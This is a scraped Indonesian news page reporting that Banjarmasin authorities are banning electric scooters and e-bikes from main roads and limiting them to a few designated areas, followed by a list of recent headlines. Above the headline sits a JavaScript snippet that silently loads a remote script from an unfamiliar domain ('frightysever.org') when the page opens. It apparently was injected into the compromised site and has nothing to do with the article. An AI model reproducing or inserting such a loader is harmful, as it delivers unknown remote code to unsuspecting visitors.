(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Skuter dan Sepeda Listrik Dilarang Berseliweran di Banjarmasin, Hanya Tiga Titik Diperbolehkan


KANALKALIMANTAN.COM, BANJARMASIN – Pengguna skuter dan sepeda listrik di Kota Banjamasin tak boleh asal melintas di jalan raya umum ketika mengoperasikan kendaraannya.

Sebab, kini kendaraan bertenaga listrik itu hanya boleh berlalu lalang pada kawasan tertentu saja, dan dilarang melintas di jalan raya.

Dalam beberapa waktu terakhir, ruas jalan utama di Kota Banjarmasin seperti Jalan A Yani, Jalan MT Haryono dan Jalan A S Musyafa, kerap kali didapati para pengguna skuter dan sepeda listrik berseliweran melintas dengan bebas.

Satuan Lalu Lintas Polresta Banjarmasin bakal menindak tegas siapa pun yang melanggar. Jika ada pengguna skuter dan sepeda listrik masih berkeliaran di jalan raya, polisi akan menegur.

 

Baca juga  : Mengapa Setiap 1 Juni Diperingati Sebagai Hari Lahir Pancasila?

“Sementara kita mulai berikan teguran secara lisan, kepada anak-anak maupun orang dewasa yang menggunakan kendaraan listrik di jalan raya,” ucap Kasat Lantas Kompol M Noor Chaidir SH SIK melalui Ps Kasubnit 3 Kamsel Sat Lantas Polresta Banjarmasin Aiptu Budiono SH MH.

Larangan ini diberlakukan untuk mereka yang menggunakan kendaraan listrik di jalan raya, mengingat kendaraan listrik tidak mempunyai standar keamanan khusus untuk melindungi para penggunanya.

“Kita berikan edukasi mudah-mudaham paham, karena jelas jalan tersebut bukan kawasan tertentu atau jalur khusus sesuai Peraturan Menteri Perhubungan No 45 tahun 2020, yang tidak semata-mata untuk melindungi pengguna skuter dan sepeda listrik,” beber Aiptu Budiono.

Termaktub dalam Permenhub Nomor 45 Tahun 2020 bahwa penggunaan skuter dan sepeda listrik bisa dilakukan pada kawasan tertentu dan juga jalur khusus, termasuk lingkungan perumahan.

 

Baca juga  : Bupati Abdul Hadi Lantik 14 Pejabat Administrator dan Pengawas Pemkab Balangan

Kabid Lalu Lintas Dinas Perhubungan (Dishub) Kota Banjarmasin, Febry Graha Utama dalam rapat Forum Lalu Lintas, Selasa (31/5/2022) mengatakan, Forum Lalu Lintas Kota Banjarmasin telah menyepakati titik atau kawasan yang diperbolehkan mengoperasikan skuter dan sepeda listrik. Yakni kawasan Kota Lama, Siring Piere Tendean, Siring Jalan Jenderal Sudirman dan kawasan Taman Kamboja.

“Namun, untuk kawasan siring yang boleh itu adalah kawasan siringnya, sekali lagi bukan jalan rayanya, dan nantinya aturan ini akan dibuat menjadi sebuah produk hukum berupa Peraturan Wali Kota (Perwali),” tegas Febry Graha Utama. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Desy Arfianty

Recent Posts

Penanganan Dugaan Politik Uang PSU Tak Berlanjut, Begini Penjelasan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penanganan pelanggaran dugaan money politic menjelang pelaksanaan Pemungutan Suara Ulang (PSU) di… Read More

25 menit ago

Pimpin Peringatan Hari Otda 2025, Wabup Sampaikan Apresiasi kepada Jajaran

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Otonomi Daerah XXIX Tahun 2025 digelar oleh Pemkab Banjar di… Read More

4 jam ago

Siap Layani Embarkasi Haji Banjarmasin, Dua A330-343 Lion Air Tiba di Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) Embarkasi Banjarmasin direncanakan mulai memasuki fase keberangkatan pada… Read More

6 jam ago

16 Mei CJH Banjarbaru Masuk Asrama Haji, Tergabung di Dua Kloter

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) asal Kota Banjarbaru dijadwal akn berangkat ke Tanah… Read More

6 jam ago

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

8 jam ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

9 jam ago